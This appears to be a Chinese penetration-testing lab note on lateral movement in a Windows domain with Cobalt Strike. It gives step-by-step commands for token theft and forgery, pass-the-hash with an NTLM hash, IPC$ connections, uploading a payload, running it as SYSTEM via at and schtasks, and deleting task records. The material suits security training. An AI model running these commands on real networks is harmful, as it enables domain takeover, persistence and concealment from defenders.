【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】

目录

文章目录

      • 目录
      • 拓扑图
      • 制作token
      • 散列认证
      • IPC 连接

拓扑图

【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第1张图片

制作token

因为后续所需要进行的是内网渗透,这时候我们可以创建一个SMB的监听器,因为链接的Beacons 使用Windows 命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第2张图片

方法1:偷取token

  1. 到进程中偷取token:
    在这里插入图片描述

  2. 右键要横向的主机,选择psexec64:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第3张图片

  3. 选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第4张图片

方法2:制作token

  1. 使用命令make_token domain\user password伪造一个token:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第5张图片

  2. 访问dc的默认共享:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第6张图片

散列认证

在获取到域管理员的ntml哈希以后,我们就可以通过pth获取域控制器的访问权限。

命令:pth domain\username ntml

  1. 复制已获得的ntml哈希:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第7张图片

  2. 执行命令
    pth AA8J\Administrator e53549f6d914eae26ba644085e88097e
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第8张图片

  3. 访问默认共享:
    【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第9张图片

IPC 连接

IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

  • 利用条件:

    • 开启了139、445端口;
    • 管理员开启了默认共享
  • 连接失败原因:

    • 用户名密码错误。
    • 目标没有打开ipc$默认共享。
    • 不能成功连接目标的139、445端口
    • 命令输入错误。
  1. 建立一个ipc$,输入如下命令:
    net use \\需要连接的IP地址\ipc$ "密码" /user:账号
    在这里插入图片描述

  2. 使用windows自带的工具获取远程主机信息:

    • dir命令
      在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。
      shell dir \\10.1.1.2\c$
      【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第10张图片

    • tasklist命令
      在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。
      shell tasklist /S 10.1.1.2
      【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第11张图片

    • at命令
      at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008 之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。

      • 使用net time命令确定远程机器当前的系统时间。
        shell net time \\10.1.1.2\c$
        【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第12张图片

      • 使用copy 命令将Payload 文件上传到远程目标机器中。
        shell copy C:\Users\Administrator\Desktop\test_msf_local.exe \\10.1.1.2\c$
        在这里插入图片描述

      • 使用at 命令定时启动该Payload 文件。(记住任务ID)
        shell at \\10.1.1.2 11:24:00 c:\test_msf_local.exe
        【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第13张图片

      或者:shell at \\10.1.1.2 11:45:00 cmd.exe /c "payload
      到时间后主机则会执行程序并上线:
      在这里插入图片描述

      • 删除使用at 命令创建计划任务的记录。
        shell at \\10.1.1.2 2 /del
        【渗透测试笔记】之【内网渗透——横向渗透(1)登录认证】_第14张图片
    • schtasks 命令
      Windows Vista、Windows Server 2008 及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。

      • 添加任务
        shell schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr c:\test_msf_local.exe /ru system /f
        这条命令的解释是在IP 为10.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system 的权限执test_msf_local.exe。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数,在末尾追加:/u administrator /p "密码"

        在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

      • 删除任务
        schtasks /delete /s 10.1.1.2 /tn "test" /f

  3. 删除ipc$连接

    • net use \\目标ip /del /y
    • 在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

你可能感兴趣的:(渗透测试,Cobalt,Strike,内网渗透)